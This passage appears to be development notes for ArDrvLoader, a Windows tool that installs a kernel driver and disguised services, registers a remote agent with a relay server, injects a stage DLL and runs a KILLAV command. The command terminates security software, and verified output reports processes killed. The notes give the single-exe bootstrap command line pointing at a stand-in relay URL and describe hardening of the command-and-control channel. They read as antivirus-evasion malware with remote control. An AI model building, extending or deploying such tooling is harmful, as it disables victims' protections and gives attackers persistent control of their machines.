  2. driver + three services + cloud agent service against the baked URL
  3. wait for the agent to register (id = computer name)
  4. queue KILLAV through the server so the run appears in the panel
  5. print the result

Verified:

  • binary scan: no server/worker strings
  • no-arg dispatch reaches bootstrap and picks DESKTOP-RB1A813 as the agent id
  • explicit-args bootstrap from one copied exe: services running, agent online, KILLAV done
  • non-elevated run stops at Cannot write HKLM\SOFTWARE\ArDrvLoader, as expected

Single-exe client bootstrap

One file is enough on a fresh machine:

ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key <key> \
    [--agent <id>] [--secret <agent-key>] [--target <path>] [--no-killav]

It elevates itself once, installs driver + three services + the cloud agent service pointing at the given URL, waits for the agent to register, then queues KILLAV through the server so the run is visible in the panel as a normal command. Driver image and stage payload are embedded, nothing else is copied.

start-all.cmd -Url https://relay.example is a thin wrapper for local testing; it starts nothing on the server side.

Offline detection fix: the panel compared last_seen (seconds) against interval * 3 (milliseconds), so an agent that had been dead for twenty minutes still showed as online. Now interval is converted to seconds, and stale agents render grey with online=false.

Installer retry: replacing the service binary right after stopping the services can hit a sharing violation while the old image is still mapped. The copy now retries for up to 10 s instead of failing the install and leaving the services stopped.

Verified with a single copied exe in an empty folder:

EXIT=0
services: DeviceSetupHost=Running ProgramCompatHost=Running ServiceStateHost=Running CloudTest=Running
agents:   newuser1 online, five older agents offline
commands: newuser1 KILLAV done  "OK EXECUTED killed=2 candidates=2"

Reliability fixes

Problem Fix
A new loader kept injecting the old stage DLL StageDllPath() now compares the embedded resource byte-for-byte with the file on disk and rewrites it when they differ
The 180 s reaper could make a slow command run twice the agent keeps the last 512 executed command ids; a re-delivery is acknowledged as OK (dup, not re-executed) without running
SQLite writer contention and unbounded growth relay opens with journal_mode=WAL, busy_timeout=5000, synchronous=NORMAL, and prunes once a minute

Retention defaults, overridable by env: commands older than 7 days, events older than 30 days, hard cap of 50,000 commands (RETAIN_COMMAND_DAYS, RETAIN_EVENT_DAYS, RETAIN_MAX_COMMANDS).

Verified:

stage dll zeroed (43008 bytes) -> -stage status rewrites it, first bytes are MZ
command requeued in sqlite     -> agent acks "OK (dup, not re-executed)"
relay start log                -> journal mode: wal

Still open

  • Pin the Worker's public key (SPKI) so a rogue CA cannot MITM the channel.
  • Encrypt HKLM\Software\CloudAgent secrets at rest with DPAPI (the guard config key is DACL-hardened, the cloud config key is not).
  • DOWNLOAD leaves payloads on disk; add a retention/cleanup pass.
  • Driver device object ACL cannot be verified from this repo (no driver source).